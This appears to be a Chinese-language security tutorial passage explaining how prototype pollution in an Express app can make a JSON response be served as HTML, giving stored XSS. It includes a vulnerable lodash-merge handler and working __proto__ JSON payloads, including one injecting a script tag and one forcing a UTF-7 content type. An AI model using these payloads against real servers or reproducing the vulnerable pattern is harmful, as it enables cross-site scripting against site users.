服务XSS响应
将JSON content-type更改为HTML
在Express应用中使用 JSON内容类型响应 并反映一个JSON:
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});
在这些情况下,XSS通常不可能使用JSON内容类型。然而,有了原型污染,我们可以 混淆Express以提供HTML响应。
此漏洞依赖于使用 res.send(obj)
以及使用具有Application/JSON内容类型的主体解析器
{
"__proto__":{
"_body":true,
"body":"<script>evil()"
}
}
执行人污染 两个 body
和/或 _body
属性,有可能导致 Express 提供HTML内容类型 并反映 _body
属性,导致存储的XSS。
渲染UTF7
渲染UTF-7内容:
{
"__proto__":{
"content-type": "application/json; charset=utf-7"
}
}